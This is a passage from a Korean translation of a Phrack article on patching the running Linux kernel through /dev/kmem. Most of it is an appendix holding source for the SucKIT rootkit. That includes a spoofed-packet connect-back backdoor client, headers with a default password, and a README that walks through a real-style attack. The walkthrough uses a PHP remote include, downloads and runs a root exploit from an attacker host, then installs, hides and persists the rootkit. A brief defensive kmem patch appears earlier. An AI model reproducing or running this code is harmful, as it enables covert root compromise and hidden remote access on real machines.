       5. int $0x80을 통해 사용자 공간에서 이 syscall을 호출하라. 우리의 루틴은
  커널 문맥에서 작동할 것이다. 그리고 우리는 리턴값으로서 할당된 메모리의
          주소값을 넘겨주는 kmalloc()를 호출할 수있다.
       6. 저장된 바이트들로 어느 syscall의 코드를 복구하라.(in step 3.)

our_routine may look as something like that:

struct  kma_struc {
       ulong   (*kmalloc) (uint, int);
       int     size;
       int     flags;
       ulong   mem;
} __attribute__ ((packed));

int     our_routine(struct kma_struc *k)
{
       k->mem = k->kmalloc(k->size, k->flags);
       return 0;
}

이러한 경우 우리가 만든 루틴에 필요한 정보를 직접적으로 넘겨준다.

이제 우리는 커널 메모리는 가지고 있다. 따라서 우리의 핸들링 루틴들을 거기에 복사할 수 있다.
위조된 sys_call_table에서 우리의 핸들링루틴들에 대한 엔트리들을 가리킨다. int 0x80으로 이러한
위조된 테이블에 침투한다.

--[ 5 - What you should take care of

이러한 기술을 사용하여무언가 쓸 때는 다음과 같은 규칙들을 따르는 것이 좋다:

       -  커널 버젼을 고려해라.(이것은 GFP_KERNEL을 의미하다.).
       -  커널 시리즈 간에 쉽게 호환할 수 있기를 바란다면 task_struct을 포함하여
          어느 내부 커널 구조들도 사용하지 말고 단지 syscall들만을 이용하라.
       -  SMP는 여러 문제들을 야기할 수 있다. 재진입과 그것이 어디에 필요한지에 대해
          고려하는것에 대해 기억하고  사용자 공간 lock[ src/core.c#ualloc() ]들을 사용하라.


--[ 6 - Possible solutions

  좋다. 이제 보안의 측면에서 당신은 아마도 그러한 귀찮은 툴들을 사용하는 스크립트 키디들의
공격을 물리치기 원할것이다. 그러면 당신은 다음의 kmem 읽기전용 패치를 적용시켜야 하고
당신의 커널에서 LKM 지원기능을 사용할 수 없게 해야 한다.

<++> kmem-ro.diff
--- /usr/src/linux/drivers/char/mem.c   Mon Apr  9 13:19:05 2001
+++ /usr/src/linux/drivers/char/mem.c   Sun Nov  4 15:50:27 2001
@@ -49,6 +51,8 @@
const char * buf, size_t count, loff_t *ppos)
{
ssize_t written;
+       /* disable kmem write */
+       return -EPERM;

  written = 0;
  #if defined(__sparc__) || defined(__mc68000__)
<-->

이 패치는 /dev/kmem의 쓰기 능력에 의존하는 기존의 일부 유틸리티들의 연동에 문제를
일으킬 수 있다. 그것은 보안에 대한 대가이다.

--[ 7 - Conclusion

  리눅스에서 raw memory I/O 디바이스들은 꽤 강력한 듯 싶다.
루트 권한을 가진 공격자들은 오랫동안 들키지 않고 그들의 행동을 숨기기 위해,
정보들을 훔치기 위해 원격 접속등을 위해 그것들을 사용할 수 있다. 지금까지 알아본 바로는
이러한 디바이스들은 빈번히 사용되지 않는다. (in the meaning of write access), 따라서,
writing 능력을 제한하는 것은 좋은 생각이다.

--[ 8 - References

[1] Silvio Cesare's homepage, pretty good info about low-level linux stuff
    [http://www.big.net.au/~silvio]

[2] Silvio's article describing run-time kernel patching (System.map)
    [http://www.big.net.au/~silvio/runtime-kernel-kmem-patching.txt]

[3] QuantumG's homepage, mostly virus related stuff
    [http://biodome.org/~qg]

[4] "Abuse of the Linux Kernel for Fun and Profit" by halflife
    [Phrack issue 50, article 05]

[5] "(nearly) Complete Linux Loadable Kernel Modules. The definitive guide
     for hackers, virus coders and system administrators."
    [http://www.thehackerschoice.com/papers]

  At the end, I (sd) would like to thank to devik for helping me a lot with
this crap, to Reaction for common spelling checks and to anonymous
editor's friend which proved the quality of article a lot.

--[ 9 - Appendix - SucKIT: The implementation

I'm sure that you are smart enough, so you know how to extract, install and
use these files.

[MORONS HINT: Try Phrack extraction utility, ./doc/README]

ATTENTION: This is a full-working rootkit as an example of the technique
          described above, the author doesn't take ANY RESPONSIBILITY for
          any damage caused by (mis)use of this software.

<++> ./client/Makefile
client: client.c
$(CC) $(CFLAGS) -I../include client.c -o client
clean:
rm -f client core
<--> ./client/Makefile
<++> ./client/client.c
/* $Id: client.c, TTY client for our backdoor, see src/bd.c */

#include <sys/wait.h>
#include <sys/types.h>
#include <sys/resource.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <fcntl.h>

#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <net/if.h>

#include <netdb.h>
#include <arpa/inet.h>
#include <termios.h>
#include <errno.h>
#include <string.h>

#define DEST_PORT       80

/* retry timeout, 15 secs works fine,
  try lower values on slower networks */
#define RETRY           15

#include "ip.h"

int     winsize;

char    *envtab[] =
{
       "",
       "",
       "LOGNAME=shitdown",
       "USERNAME=shitdown",
       "USER=shitdown",
       "PS1=[rewt@\\h \\W]\\$ ",
       "HISTFILE=/dev/null",
       "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:"
       "/usr/local/sbin:/usr/X11R6/bin:./bin",
       "!TERM",
       NULL
};

int     sendenv(int sock)
{
       struct  winsize ws;
#define ENVLEN  256
       char    envbuf[ENVLEN+1];
       char    buf1[256];
       char    buf2[256];
       int     i = 0;

       ioctl(0, TIOCGWINSZ, &ws);
       sprintf(buf1, "COLUMNS=%d", ws.ws_col);
       sprintf(buf2, "LINES=%d", ws.ws_row);
       envtab[0] = buf1; envtab[1] = buf2;

       while (envtab[i]) {
               bzero(envbuf, ENVLEN);
               if (envtab[i][0] == '!') {
                       char *env;
                       env = getenv(&envtab[i][1]);
                       if (!env) goto oops;
                       sprintf(envbuf, "%s=%s", &envtab[i][1], env);
               } else {
                       strncpy(envbuf, envtab[i], ENVLEN);
               }
               if (write(sock, envbuf, ENVLEN) < ENVLEN) return 0;
oops:
               i++;
       }
       return write(sock, "\n", 1);
}

void    winch(int i)
{
       signal(SIGWINCH, winch);
       winsize++;
}

void    sig_child(int i)
{
       waitpid(-1, NULL, WNOHANG);
}

int     usage(char *s)
{
       printf(
               "Usage:\n"
               "\t%s <host> [source_addr] [source_port]\n\n"
               ,s);
       return 1;
}

ulong   resolve(char *s)
{
       struct  hostent *he;
       struct  sockaddr_in si;
       /* resolve host */
       bzero((char *) &si, sizeof(si));
       si.sin_addr.s_addr = inet_addr(s);
       if (si.sin_addr.s_addr == INADDR_NONE) {
               printf("Looking up %s...", s); fflush(stdout);
               he = gethostbyname(s);
               if (!he) {
                       printf("Failed!\n");
                       return INADDR_NONE;
               }
               memcpy((char *) &si.sin_addr, (char *) he->h_addr,
                      sizeof(si.sin_addr));
               printf("OK\n");
       }
       return si.sin_addr.s_addr;
}

int     raw_send(struct rawdata *d, ulong tfrom, ushort sport, ulong to,
                ushort dport)
{
       int                     raw_sock;
       int                     hincl = 1;
       struct  sockaddr_in     from;
       struct  ippkt           packet;
       struct  pseudohdr       psd;
       int     err;

       char                    tosum[sizeof(psd) + sizeof(packet.tcp)];

       raw_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
       if (raw_sock < 0) {
               perror("socket");
               return 0;
       }
       if (setsockopt(raw_sock, IPPROTO_IP,
           IP_HDRINCL, &hincl, sizeof(hincl)) < 0) {
               perror("socket");
               close(raw_sock);
               return 0;
       }
       bzero((char *) &packet, sizeof(packet));
       from.sin_addr.s_addr = to;
       from.sin_family = AF_INET;

       /* setup IP header */
       packet.ip.ip_len = sizeof(struct ip) +
                          sizeof(struct tcphdr) + 12 +
                          sizeof(struct rawdata);
       packet.ip.ip_hl = sizeof(packet.ip) >> 2;
       packet.ip.ip_v = 4;
       packet.ip.ip_ttl = 255;
       packet.ip.ip_tos = 0;
       packet.ip.ip_off = 0;
       packet.ip.ip_id = htons((int) rand());
       packet.ip.ip_p = 6;
       packet.ip.ip_src.s_addr = tfrom; /* www.microsoft.com :) */
       packet.ip.ip_dst.s_addr = to;
       packet.ip.ip_sum = in_chksum((u_short *) &packet.ip,
                                    sizeof(struct ip));

       /* tcp header */
       packet.tcp.source = sport;
       packet.tcp.dest = dport;
       packet.tcp.seq = 666;
       packet.tcp.ack = 0;
       packet.tcp.urg = 0;
       packet.tcp.window = 1234;
       packet.tcp.urg_ptr = 1234;
       memcpy(packet.data, (char *) d, sizeof(struct rawdata));

       /* pseudoheader */
       memcpy(&psd.saddr, &packet.ip.ip_src.s_addr, 4);
       memcpy(&psd.daddr, &packet.ip.ip_dst.s_addr, 4);
       psd.protocol = 6;
       psd.lenght = htons(sizeof(struct tcphdr) + 12 +
                          sizeof(struct rawdata));
       memcpy(tosum, &psd, sizeof(psd));
       memcpy(tosum + sizeof(psd), &packet.tcp, sizeof(packet.tcp));
       packet.tcp.check = in_chksum((u_short *) &tosum, sizeof(tosum));

       /* send that fuckin' stuff */
       err = sendto(raw_sock, &packet, sizeof(struct ip) +
                             sizeof(struct iphdr) + 12 +
                             sizeof(struct rawdata),
                             0, (struct sockaddr *) &from,
                             sizeof(struct sockaddr));
       if (err < 0) {
               perror("sendto");
               close(raw_sock);
               return 0;
       }
       close(raw_sock);
       return 1;
}

#define BUF     16384
int     main(int argc, char *argv[])
{
       ulong   serv;
       ulong   saddr;
       ushort  sport = htons(80);
       char    hostname[1024];
       struct  rawdata         data;

       int     sock;
       int     pid;
       struct  sockaddr_in     peer;
       struct  sockaddr_in     srv;
       int     slen = sizeof(srv);
       int     ss;


       char    pwd[256];
       int     i;
       struct  termios old, new;
       unsigned char   buf[BUF];
       fd_set          fds;
       struct  winsize ws;

       /* input checks */
       if (argc < 2) return usage(argv[0]);
       serv = resolve(argv[1]);
       if (!serv) return 1;

       if (argc >= 3) {
               saddr = resolve(argv[2]);
               if (!saddr) return 1;
       } else {
               if (gethostname(hostname, sizeof(hostname)) < 0) {
                       perror("gethostname");
                       return 1;
               }
               saddr = resolve(hostname);
               if (!saddr) return 1;
       }
       if (argc == 4) {
               int     i;
               if (sscanf(argv[3], "%u", &i) != 1)
                       return usage(argv[0]);
               sport = htons(i);
       }

       peer.sin_addr.s_addr = serv;
       printf("Trying %s...", inet_ntoa(peer.sin_addr)); fflush(stdout);
       sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
       if (sock < 0) {
               perror("socket");
               return 1;
       }
       bzero((char *) &peer, sizeof(peer));

       peer.sin_family = AF_INET;
       peer.sin_addr.s_addr = htonl(INADDR_ANY);
       peer.sin_port = 0;

       if (bind(sock, (struct sockaddr *) &peer, sizeof(peer)) < 0) {
               perror("bind");
               return 1;
       }

       if (listen(sock, 1) < 0) {
               perror("listen");
               return 1;
       }

       pid = fork();
       if (pid < 0) {
               perror("fork");
               return 1;
       }

       /* child ? */
       if (pid == 0) {
               int     plen = sizeof(peer);
               if (getsockname(sock, (struct sockaddr *) &peer,
                   &plen) < 0) {
                       exit(0);
               }
               data.ip = saddr;
               data.port = peer.sin_port;
               data.id = RAWID;
               while (1) {
                       int     i;
                       if (!raw_send(&data, saddr, sport, serv,
                           htons(DEST_PORT))) {
                               exit(0);
                       }
                       for (i = 0; i < RETRY; i++) {
                               printf("."); fflush(stdout);
                               sleep(1);
                       }
               }
       }

       signal(SIGCHLD, sig_child);
       ss = accept(sock, (struct sockaddr *) &srv, &slen);
       if (ss < 0) {
               perror("Network error");
               kill(pid, SIGKILL);
               exit(1);
       }
       kill(pid, SIGKILL);
       close(sock);
       printf("\nChallenging %s\n", argv[1]);

       /* set-up terminal */
       tcgetattr(0, &old);
       new = old;
       new.c_lflag &= ~(ICANON | ECHO | ISIG);
       new.c_iflag &= ~(IXON | IXOFF);
       tcsetattr(0, TCSAFLUSH, &new);

       printf(
               "Connected to %s.\n"
               "Escape character is '^K'\n", argv[1]);

       printf("Password:"); fflush(stdout);
       bzero(pwd, sizeof(pwd));
       i = 0;
       while (1) {
               if (read(0, &pwd[i], 1) <= 0) break;
               if (pwd[i] == ECHAR) {
                       printf("Interrupted!\n");
                       tcsetattr(0, TCSAFLUSH, &old);
                       return 0;
               }
               if (pwd[i] == '\n') break;
               i++;
       }
       pwd[i] = 0;
       write(ss, pwd, sizeof(pwd));
       printf("\n");
       if (sendenv(ss) <= 0) {
               perror("Failed");
               tcsetattr(0, TCSAFLUSH, &old);
               return 1;
       }

       /* everything seems to be OK, so let's go ;) */
       winch(0);
       while (1) {
               FD_ZERO(&fds);
               FD_SET(0, &fds);
               FD_SET(ss, &fds);

               if (winsize) {
                       if (ioctl(0, TIOCGWINSZ, &ws) == 0) {
                               buf[0] = ECHAR;
                               buf[1] = (ws.ws_col >> 8) & 0xFF;
                               buf[2] = ws.ws_col & 0xFF;
                               buf[3] = (ws.ws_row >> 8) & 0xFF;
                               buf[4] = ws.ws_row & 0xFF;
                               write(ss, buf, 5);
                       }
                       winsize = 0;
               }

               if (select(ss+1, &fds, NULL, NULL, NULL) < 0) {
                       if (errno == EINTR) continue;
                       break;
               }
               if (winsize) continue;
               if (FD_ISSET(0, &fds)) {
                       int     count = read(0, buf, BUF);
//                      int     i;
                       if (count <= 0) break;
                       if (memchr(buf, ECHAR, count)) {
                               printf("Interrupted!\n");
                               break;
                       }
                       if (write(ss, buf, count) <= 0) break;
               }
               if (FD_ISSET(ss, &fds)) {
                       int     count = read(ss, buf, BUF);
                       if (count <= 0) break;
                       if (write(0, buf, count) <= 0) break;
               }
       }
       close(sock);
       tcsetattr(0, TCSAFLUSH, &old);
       printf("\nConnection closed.\n");
       return 0;
}
<--> ./client/client.c
<++> ./doc/LICENSE
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* SUCKIT v1.1c - New, singing, dancing, world-smashing rewtkit  *
* (c)oded by sd@sf.cz & devik@cdi.cz, 2001                      *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.
<--> ./doc/LICENSE
<++> ./doc/CHANGES
Development history:
Version 1.1c:
       - disabled flow control in client, escape char changed to ^K
Version 1.1b:
       - fixed GFP_KERNEL bug with segfaulting on 2.4.0 - 2.4.5 kernels
Version 1.1a:
       - makefile, added SIGWINCH support + autentification of remote
         user (but still in plain text ;( )
Version 1.0d:
       - added connect-back bindshell, with TTY/PTY support !
         filtering out invisible pids, connections and philes ;)
Version 1.0c:
       - only one thing we're doing at this time, is to change one letter
         in output of uname()
Version 1.0b:
       - first working version of new code, relocations made directly
         from .o, as far i know, everything works on 2.4.x smoothly,
         just add some good old features...
         Added (read: stolen) linus' string.c and vsprintf.c in order to
         make coding more user-phriendly ;)
Version 1.0a:
       - devik@cdi.cz discovered that `sidt` works on linux ... so we can
         play a bit with int 0x80 ;)) kmalloc search engine was written by
         devik too, many thanks to him!
---------------------------------------------------------------------------
Version 0.3d:
       - I got 2.4.10 kernel and things are _totally_ fucked up,
         nothing didn't work, kmalloc search engine was gone and so on ..
         So i decided to rewrite code from scratch,
         divide it to more files.
Version 0.3c: (PUBLIC)
       - added getdents64 (interesting for 2.4.x kernel, but compatibility
         still not guaranted)
Version 0.3b:
       - added `scp` sniffing
       - no sniffing of hidden users anymore!
Version 0.3: (PUBLIC)
       - Punk. Fool. We don't need LKM support anymore !!!
         We're able to heuristically abtain (with 80% accuracy ;)
         sys_call_table[] and kmalloc() directly from /dev/kmem !!!
         third release under GNU/GPL
Version 0.23a:
       - completely rewritten new_getdents(), fixed major bugs,
         but still sometimes crashes unpredictabely ;-(
Version 0.22b:
       - rcscript is executed as invisible by nature ;)
Version 0.22a:
       - Fixed "unhide all" bug, feature works now
Version 0.21a:
       - added ssh2d support
Version 0.2a:
       - fixed ugly bug in that suckit forgets to hide some invisible
         pids (on high loads) without reason !!
         (thx. to root@buggy.frogspace.net ;)
Version 0.2: (PUBLIC)
       - Cleanup (the suckit.h thing, etc),
         l33t bash skripts (flares, mk, inst),
         second (BUGFIX) release under GNU/GPL
Version 0.13a:
       - Filters out the syslogd's lines of us while we logginin' in/out,
         WE'RE TOTALLY INVISIBLE NOW!
Version 0.12a:
       - Finally! We're able to hide our TCP/UDP/RAW sockets in netstat!
         Everything done usin' stealth techniqe for /proc/net/tcp|udp|raw
Version 0.11b:
       - We hide the fact that someone sets PROMISC flag on some eth iface
         (thru ioctl)
Version 0.11a:
       - Fixed the weird bug in check_names() so we're able to stay in
         kernel for more than 2 hours without consuming a lotta of memory
         and rebooting (thx. to root@host2.dns4ua.com)
Version 0.1: (PUBLIC):
       - General code cleanup, released first version under GNU/GPL
Version 0.08a:
       - Added suid=0 fakeshell thing, because some hosts don't like uid=0
         users remotely logged in ;)
Version 0.07c:
       - Fixed bug with kernel's symbol versions (strncmp ownz! ;) while
         we importin' symbols
Version 0.07b:
       - Added the `config` crap ;)
Version 0.07a:
       - Everything joined into one executable ;)
         Compilation divided into three parts:
         .C -> .S, .S -> our_parses -> .s, .s -> binary
Version 0.06a:
       - Fixed major bugs with small buffers, added PID hidding and our
         PID tracking system, leaved from using 'task_struct *current'
         and other kernel structures, so the code can work on any kernel
         of 2.2.x without recompilation !
Version 0.05a:
       - solved our problem with 'who', we forbid any write to
         utmp/wtmp/lastlog containing our username ;)
Version 0.04a:
       - "backdoor" over fake /etc/passwd for remote services
         (telnet, rsh, ssh), but we are still visible in `who` ;(
Version 0.03a:
       - First relocatable code, we still do only one thing
         (hiding files), divided into two parts object module
         (normal, vanilla kernel-LKM ;) and Silvio's kinsmod
         (which places it to kernel space thru /dev/kmem)
Version 0.02b:
       - Finally! We're able to allocate kernel memory thru kmalloc() !
         But the code does nothing ;(
Version 0.02a:
       - First executable code, we're overwriting kernel-code at static
         address.
         Fixed one major bug:
         [rewt@pikatchu ~]# ./suckit
         bash: ./suckit: No such file or directory
Version 0.01a:
       - uhm, no real code, just only concept in my head
<--> ./doc/CHANGES
<++> ./doc/README
suc-kit - Super User Control Kit, (c)ode by sd@sf.cz & devik@cdi.cz, 2001
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Works on: 2.2.x, 2.4.x linux kernels (2.0.x should too, but not tested)

SucKIT
~~~~~~
       - Code by sd <sd@sf.cz>, sd@ircnet
       - kmalloc() & idt/int 0x80 crap by devik <devik@cdi.cz>
       - Thanks to:
               Silvio Cesare for his excellent articles
               halflife (for opening my eyes to look around LKM's)
               QuantumG for example in STAOG

Description
~~~~~~~~~~~
       Suckit (stands for stupid 'super user control kit') is another of
       thousands linux rootkits, but it's unique in some ways:

Features:
       - Full password protected remote access connect-back shell
         initiated by spoofed packet (bypassing most of firewall
         configurations)

       - Full tty/pty, remote enviroment export + setting up win size
         while client gets SIGWINCH

       - It can work totally alone (without libs, gcc ...) using only
         syscalls (this applies only to server side, client is running
         on your machine, so we can use libc ;)

       - It can hide processes, files and connections
         (f00led: fuser, lsof, netstat, ps & top)

       - No changes in filesystem

Disadvantages:
       - Non-portable, i386-linux specific

       - Buggy as hell ;)

Instead of long explaining how to use it, small example is better:

An real example of complete attack (thru PHP bug):

[attacker@badass.cz ~/sk10]$ ./sk c
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* SUCKIT v1.1c - New, singing, dancing, world-smashing rewtkit  *
* (c)oded by sd@sf.cz & devik@cdi.cz, 2001                      *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Usage:
./sk [command] [arg]
Commands:
  u          uninstall
  t          test
  i <pid>    make pid invisible
  v <pid>    make pid visible (0 = all)
  f [0/1]    toggle file hiding
  p [0/1]    toggle proc hiding
configuration:
  c <hidestr> <password> <home>
invoking without args will install rewtkit into memory
[attacker@badass.cz ~/sk10]$ ./sk c l33t bublifuck /usr/share/man/man4/l33t
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* SUCKIT v1.1c - New, singing, dancing, world-smashing rewtkit  *
* (c)oded by sd@sf.cz & devik@cdi.cz, 2001                      *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Configuring ./sk:
OK!
[attacker@badass.cz ~/sk10]$ telnet lamehost.com 80
Trying 192.160.0.2...
Connected to lamehost.com.
Escape character is '^]'.
GET /bighole.php3?inc=http://badass.cz/egg.php3 HTTP/1.1
Host: lamehost.com

HTTP/1.1 200 OK
Date: Thu, 18 Oct 2001 04:04:52 GMT
Server: Apache/1.3.14 (Unix)  (Red-Hat/Linux) PHP/4.0.4pl1
Last-Modified: Fri, 28 Sep 2001 04:42:34 GMT
ETag: "31c6-c2-3bb3ffba"
Content-Type: text/html

IT WERKS! Shell at port 8193Connection closed by foreign host.
[attacker@badass.cz ~/sk10]$ nc -v lamehost.com 8193
lamehost.com [192.168.0.2] 8193 (?) open
w
12:08am  up  1:20,  3 users,  load average: 0.05, 0.06, 0.08
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
root     tty1     -                11:58pm 39:03   3.15s  2.95s  bash
cd /tmp
lynx -dump http://badass.cz/s.c > s.c
gcc s.c -o super-duper-hacker-user-rooter
./super-duper-hacker-user-rooter
id
uid=0(root) gid=0(root) groups=0(root)
cd /usr/local/man/man4
mkdir .l33t
cd .l33t
lynx -dump http://badass.cz/~attacker/sk10/sk > sk
chmod +s+u sk
./sk
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* SUCKIT v1.1c - New, singing, dancing, world-smashing rewtkit  *
* (c)oded by sd@sf.cz & devik@cdi.cz, 2001                      *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Getting kernel stuff...OK
page_offset      : 0xc0000000
sys_call_table[] : 0xc01e5920
int80h dispatch  : 0xc0106cef
kmalloc()        : 0xc0127a20
GFP_KERNEL       : 0x000001f0
punk_addr        : 0xc010b8e0
punk_size        : 0x0000001c (28 bytes)
our kmem region  : 0xc0f94000
size of our kmem : 0x00003af2 (15090 bytes)
new_call_table   : 0xc0f968f2
# of relocs      : 0x0000015d (349)
# of syscalls    : 0x00000012 (18)
And nooooow....Shit happens!! -> WE'RE IN <-
Starting backdoor daemon...OK, pid = 2101
exit
exit
[attacker@badass.cz ~/sk10]$ su
Password:
[root@badass.cz ~/sk10]# ./cli lamehost.com
Looking up badass.cz...OK
Looking up lamehost.com...OK
Trying 192.168.0.2.....
Challenging lamehost.com
Connected to lamehost.com
Escape character is '^K'
Password:
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* SUCKIT v1.1c - New, singing, dancing, world-smashing rewtkit  *
* (c)oded by sd@sf.cz & devik@cdi.cz, 2001                      *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
[rewt@lamehost.com ~]# ps uwxa | grep ps
[rewt@lamehost.com ~]# cp sk /etc/rc.d/rc3.d/S99l33t
[rewt@lamehost.com ~]# exit

Connection closed.
[root@badass.cz ~/sk10]#

...and so on...

-- sd@sf.cz (sd@ircnet)
<--> ./doc/README
<++> ./doc/TODO
- some RSA for communication
- connection-less TCP for remote shell
- sniff everything & everywhere (tty's mostly ;)
- some kinda of spin-locking on SMPs
<--> ./doc/TODO
<++> ./include/suckit.h
/* $Id: suckit.h, core suckit defs */

#ifndef SUCKIT_H
#define SUCKIT_H

#ifndef __NR_getdents64
#define __NR_getdents64 220
#endif

#define OUR_SIGN OURSIGN
#define RC_FILE RCFILE

#define DEFAULT_HOME    "/usr/share/man/.sd"
#define DEFAULT_HIDESTR "sk10"
#define DEFAULT_PASSWD  "bublifuck"

/* cmd stuff */
#define CMD_TST         1       /* test */
#define CMD_INV         2       /* make pid invisible */
#define CMD_VIS         3       /* make pid visible */
#define CMD_RMV         4       /* remove from memory */
#define CMD_GFL         5       /* get flags */
#define CMD_SFL         6       /* set flags */
#define CMD_BDR         7
#define SYS_COUNT       256

#define CMD_FLAG_HP     1
#define CMD_FLAG_HF     2

/* crappy stuff */
#define BANNER \
"* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *\n" \
"* SUCKIT " SUCKIT_VERSION " - New, singing, dancing, world-smashing" \
" rewtkit  *\n" \
"* (c)oded by sd@sf.cz & devik@cdi.cz, 2001                      *\n" \
"* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *\n"

#define BAD1 "/proc/net/tcp"
#define BAD2 "/proc/net/udp"
#define BAD3 "/proc/net/raw"


/* kernel related stuff */
#define SYSCALL_INTERRUPT       0x80
#define KMEM_FILE               "/dev/kmem"
#define MAX_SYMS                4096
#define MAX_PID                 512
#define PUNK                    109 /* victim syscall - old_uname */
/* for 2.4.x */
#define KMEM_FLAGS              (0x20 + 0x10 + 0x40 + 0x80 + 0x100)



/* typedef's */
#define ulong   unsigned long
#define uint    unsigned int
#define ushort  unsigned short
#define uchar   unsigned char
struct kernel_sym {
       ulong   value;
       uchar   name[60];
};


struct  new_call {
       uint    nr;
       void    *handler;
       void    **old_handler;
} __attribute__ ((packed));


/* this struct __MUST__ correspond with c0r3 header stuff in
  utils/parse.c ! */
struct  obj_struc {
       ulong           obj_len;
       ulong           bss_len;
       void            *punk;
       uint            *punk_size;
       struct new_call *new_sct;
       ulong           *sys_call_table;
       /* these values will be passed to image */
       ulong           page_offset;
       ulong           syscall_dispatch;
       ulong           *old_call_table;
} __attribute__ ((packed));


/* struct for communication between kernel <=> userspace */
struct  cmd_struc {
       ulong   id;
       ulong   cmd;
       ulong   num;
       char    buf[1024];
} __attribute__ ((packed));


struct  kma_struc {
       ulong   (*kmalloc) (uint, int);
       int     size;
       int     flags;
       ulong   mem;
} __attribute__ ((packed));

struct mmap_arg_struct {
       unsigned long addr;
       unsigned long len;
       unsigned long prot;
       unsigned long flags;
       unsigned long fd;
       unsigned long offset;
       unsigned long lock;
};

struct de64 {
       ulong long      d_ino;
       ulong long      d_off;
       unsigned short  d_reclen;
       uchar           d_type;
       uchar           d_name[256];
};

struct de {
       long            d_ino;
       uint            d_off;
       ushort          d_reclen;
       char            d_name[256];
};

struct net_struc {
       int     fd;
       int     len;
       int     pos;
       int     data_len;
       char    dat[1];
};

struct pid_struc {
       ushort  pid;
       struct  net_struc *net;
       uchar   hidden;
} __attribute__ ((packed));

struct  config_struc {
       uchar   magic[8];
       uchar   hs[32];
       uchar   pwd[32];
       uchar   home[64];
};

#define mmap_arg ((struct mmap_arg_struct *) \
                 (page_offset - sizeof(struct mmap_arg_struct)) )
#define MM_LOCK                 0x1023AFAF

#define PAGE_SIZE               4096
#define PAGE_RW                 (PROT_READ | PROT_WRITE)



#ifndef O_RDONLY
#define O_RDONLY                0
#endif

#ifndef O_WRONLY
#define O_WRONLY                1
#endif

#ifndef O_RWDR
#define O_RDWR                  2
#endif

/* debug stuff */
#ifdef SK_DEBUG
#define skd(fmt,args...) printf(fmt, args)
#else
#define skd(fmt,args...) while (0) {}
#endif

#endif
<--> ./include/suckit.h
<++> ./include/asm.h
/* $Id: asm.h, assembly related stuff */

#ifndef ASM_H
#define ASM_H
struct idtr {
       unsigned short  limit;
       unsigned int    base;
} __attribute__ ((packed));

struct idt {
       unsigned short  off1;
       unsigned short  sel;
       unsigned char   none, flags;
       unsigned short  off2;
} __attribute__ ((packed));
#endif
<--> ./include/asm.h
<++> ./include/ip.h
/* $Id: ip.h, raw TCP/IP stuff */


struct  rawdata {
       ulong   id;
       ulong   ip;
       ushort  port;
};

struct ippkt {
       struct  ip ip;
       struct  tcphdr tcp;
       char    something[12];
       char    data[1024];
};

struct pseudohdr {
       u_int32_t       saddr;
       u_int32_t       daddr;
       u_int8_t        zero;
       u_int8_t        protocol;
       u_int16_t       lenght;
};

u_short in_chksum(u_short *ptr, int nbytes)
{
  register long           sum;            /* assumes long == 32 bits */
  u_short                 oddbyte;
  register u_short        answer;         /* assumes u_short == 16 bits */

  /*
  * Our algorithm is simple, using a 32-bit accumulator (sum),
  * we add sequential 16-bit words to it, and at the end, fold back
  * all the carry bits from the top 16 bits into the lower 16 bits.
  */
  sum = 0;
  while (nbytes > 1)
  {
   sum += *ptr++;
   nbytes -= 2;
  }

       /* mop up an odd byte, if necessary */
  if (nbytes == 1)
  {
   oddbyte = 0;            /* make sure top half is zero */
   *((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte only */
   sum += oddbyte;
  }

  /*
  * Add back carry outs from top 16 bits to low 16 bits.
  */

  sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */
  sum += (sum >> 16);                     /* add carry */
  answer = ~sum;          /* ones-complement, then truncate to 16 bits */

  return((u_short) answer);
}
<--> ./include/ip.h
<++> ./include/str.h
/*
*  linux/lib/string.c
*
*  Copyright (C) 1991, 1992  Linus Torvalds
*/

#ifndef STRING_H
#define STRING_H

#ifndef NULL
#define NULL (void *) 0
#endif

extern char * ___strtok;
extern char * strpbrk(const char *,const char *);
extern char * strtok(char *,const char *);
extern char * strsep(char **,const char *);
extern unsigned strspn(const char *,const char *);
extern char * strcpy(char *,const char *);
extern char * strncpy(char *,const char *, unsigned);
extern char * strcat(char *, const char *);
extern char * strncat(char *, const char *, unsigned);
extern int strcmp(const char *,const char *);
extern int strncmp(const char *,const char *,unsigned);
extern int strnicmp(const char *, const char *, unsigned);
extern char * strchr(const char *,int);
extern char * strrchr(const char *,int);
extern char * strstr(const char *,const char *);
extern unsigned strlen(const char *);
extern unsigned strnlen(const char *,unsigned);
extern void * memset(void *,int,unsigned);
extern void * memcpy(void *,const void *,unsigned);
extern void * memmove(void *,const void *,unsigned);
extern void * memscan(void *,int,unsigned);
extern int memcmp(const void *,const void *,unsigned);
extern void * memchr(const void *,int,unsigned);
#endif
<--> ./include/str.h
<++> ./src/main.c
/* $Id: main.c, replacement of libc's main() parent  */

#ifndef MAIN_C
#define MAIN_C
#include <stdarg.h>
#include <linux/unistd.h>

#define MAX_ARGS 255

